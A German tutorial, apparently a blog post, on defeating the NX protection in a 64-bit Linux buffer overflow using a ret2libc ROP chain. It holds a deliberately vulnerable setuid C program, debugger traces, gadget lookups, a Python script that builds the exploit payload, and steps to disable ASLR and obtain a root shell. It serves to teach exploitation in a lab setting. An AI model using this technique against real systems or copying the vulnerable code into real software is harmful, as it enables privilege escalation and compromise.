Buffer Overflow im 64-Bit Stack - Teil 2
Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer
Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen
Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende
Befehl an die
libc-Funktion
system() weitergeleitet wird. Grundlegend basiert dieses Tutorial auf
der Arbeit von superkojiman 1
Einleitung
Weiterführende Infos zum Thema ROP (Return Oriented Programming) und
Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am
Ende. 2 3
Theorie
Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für
Schritt überschrieben werden. Um den Prozess nachzuvollziehen, können
wir die kompilierte
Binary aus
dem Blog debuggen.
br *vuln+73 # setze Breakpoint
r < in.txt # in.txt wird vom Python Script erzeugt
... # Breakpoint
RDI: 0x7ffff7fa0a30 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA') # RBP ist überschrieben
RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) # RSP mit pop rdi Gadget
RIP: 0x40060f (<vuln+73>: ret)
gdb-peta$ si
...
RDI: 0x7ffff7fa0a30 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer nach /bin/sh
RIP: 0x4006a3 (<__libc_csu_init+99>: pop rdi) # pop rdi wurde auf RIP geschrieben
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer wurde auf rdi geschrieben
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>: ret) # NOP
RIP: 0x4006a4 (<__libc_csu_init+100>: ret)
gdb-peta$ si
...
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh")
RIP: 0x400469 (<_init+25>: ret)Abhängigkeiten
Was wird benötigt?
Zu den Tools aus Teil 1,
benötigen wir noch ropper.
sudo apt install ropperASLR deaktivieren
Auch hier muss ASLR wieder deaktiviert werden, um konstante
Speicherbereiche zu erhalten. In Teil 1 ist
beschrieben,
was hierfür zu tun ist.
C Programm
Quellcode und kompilierte Binaries findet Ihr auch auf meinem github
repository
Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der
Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das UID
und EUID zusätzlich gesetzt werden 4, zum anderen funktioniert
/bin/sh nicht mehr in dieser Art und Weise. 5
Da es an einem pop rdi; ret; Gadget fehlte, habe ich mir eine
entsprechende Funktion erstellt.
/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */
/* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */
/* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */
#include <stdio.h>
#include <unistd.h>
int gadg() {
asm ("pop %rdi");
asm ("ret");
return 0;
}
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("\nRead %d bytes. buf is %s\n", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
setuid(0);
seteuid(0);
printf("Try to exec /bin/zsh --interactive");
vuln();
return 0;
}Kompilieren
Nun kompilieren wir das Programm. Wichtig ist, dass der no-pie
Parameter gesetzt wird. Eine Erklärung liefert der Nutzer
b4551k5 hierzu:
It seems that gcc build PIE (position indep. exec.). You can check
this using “readelf -e <executable>”. If at the top (the header),
Type is “DYN (shared…” then it is PIE and gets loaded at random base
address. You can rebuild the code using “-no-pie” as compile flag to
tell the linker you want to build an executable. This should result in
0x400000 as base address as in the examples above.
gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 Exploit
Gadgets
Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir
ropper und lassen uns die Gadgets anzeigen
ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;Wir brauchen 40116a, um unser Argument von RSP auf RDI zu schieben und
401016 ist eine NOP Funktion, welche RSP um 8 Bytes verschiebt. 6
Offsets herausfinden
Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere
Datei in den Debugger und starten:
gdb-peda$ start
...
gdb-peda$ p system
$1 = {int (const char *)} 0x7ffff7e17920 <__libc_system>
gdb-peda$ find "/bin/zsh --interactive"
Searching for '/bin/zsh --interactive' in: None ranges
Found 2 results, display max 2 items:
bof-part2 : 0x402044 ("/bin/zsh --interactive")
bof-part2 : 0x403044 ("/bin/zsh --interactive")Das Offset 0x7ffff7e17920 ist die Adresse von system(), unserem libc
Aufruf. 0x402044 ist die Adressse unseres Parameters, den wir an
system() übergeben wollen. Jetzt haben wir alle nötigen Parameter, um
den entprechenden Buffer im Exploit aufzubauen.
buffer.py
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x000000000040116a) # pop rdi; ret;
buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi
buf += pack("<Q", 0x0000000000401016) # 8 Bytes NOP
buf += pack("<Q", 0x7ffff7e17920) # address of system()
f = open("in.txt", "w")
f.write(buf)Buffer erzeugen
Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt.
python2 buffer.pyBerechtigungen setzen
Unsere Datei benötigt noch die entsprechenden root Berechtigungen.
sudo chown root bof-part2
sudo chmod 4755 bof-part2root Shell
Nun starten wir unser Programm und übergeben unseren Buffer als
Argument.
(cat in.txt | cat) | ./bof-part2[
]
Unsere User Shell wird zur root Shell aufgewertet und wir haben unser
Ziel erreicht.
Repository
| Projektdateien | nosoc-repo-bof-part2.zip |
|---|---|
| Größe | 4,00 KB |
| Prüfsumme (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 |